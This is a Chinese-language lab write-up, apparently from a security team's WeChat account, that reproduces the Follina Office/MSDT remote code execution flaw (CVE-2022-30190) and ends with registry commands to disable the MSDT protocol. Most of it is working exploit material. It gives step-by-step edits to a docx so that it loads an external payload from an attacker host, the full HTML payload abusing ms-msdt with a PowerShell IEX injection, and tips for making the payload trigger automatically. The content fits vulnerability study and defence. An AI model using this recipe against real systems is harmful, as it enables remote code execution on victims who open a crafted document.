0x01 漏洞详情
2022年5月27日,国外安全研究员:@Nao_sec 在 Twitter 分享了 Word 样本,事实证明是 Office 或者 Windows 中的零日漏洞。微软现已透露此漏洞的 CVE 标识符为 CVE-2022-30190
从 Word 等调用应用程序使用 URL 协议调用 MSDT 时存在远程执行代码漏洞。成功利用此漏洞的攻击者可以使用调用应用程序的权限运行任意代码。然后,攻击者可以安装程序、查看、更改或删除数据,或者在用户权限允许的上下文中创建新账户。
0x02 复现环境
1、windows 10 (19043.928)
2、office 2016、2019均可
0x03 漏洞复现
首先打开一个 word,插入一个 OLE 对象,图像随便画,并保存为 docx 文件。
因为 word 本质是一个压缩包,我们最好用 7zip 直接右键打开压缩包直接修改
我们打开路径为 /word/_rels/document.xml.rels 的文件。用记事本编辑的话会自动换行错位,注意一下顺序。我是直接手工换行。
我们修改 Relationships 的 XML 标签
<Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="embeddings/oleObject1.bin"/>
修改为
Target="http://10.0.3.196/payload.html" TargetMode = "External"/>
然后编辑 word/document.xml,找到 <o:OLEObject 标签,修改
Type="Embed" 更改为Type="Link"
添加属性 UpdateMode="OnCall"
然后我们从 kali 攻击机中编写 payload.html
<html lang="en">
<body>
<script>
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA should be repeated >60 times
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe "";
</script>
</body>
</html>
带有 AAA 的注释行应重复 >60 次(以填充足够的空间以出于某种原因触发有效负载)。
然后 kali 开启 80 端口的监听,在 win下双击文档
有点小 bug,rtf 要手动点击才可以弹计算器。根据别人的建议,在 o:OLEObject 元素这个标签下添加这几个元素可以自动弹,但是我这不生效,不清楚什么原因。然后 Progid 可能要换成 htmlfile。
<o:LinkType>EnhancedMetaFile</o:LinkType>
<o:LockedField>false</o:LockedField>
<o:FieldCodes>f 0</o:FieldCodes>
后续看到一个类似的文章,应该是要加个 X-USC
漏洞复现成功
0x04 解决方法
禁用 MSDT URL 协议
1、以管理员身份运行命令提示符。
2、要备份注册表项,请执行命令"reg export HKEY_CLASSES_ROOTms-msdt filename";
3、执行命令“reg delete HKEY_CLASSES_ROOTms-msdt /f”。
撤销解决方法:执行命令“reg import filename”
- End -
本文作者:暗魂攻防实验室 - G4br1el
原文始发于微信公众号(NS Demon团队):【漏洞复现】Microsoft Office RCE-Follina MSDT漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论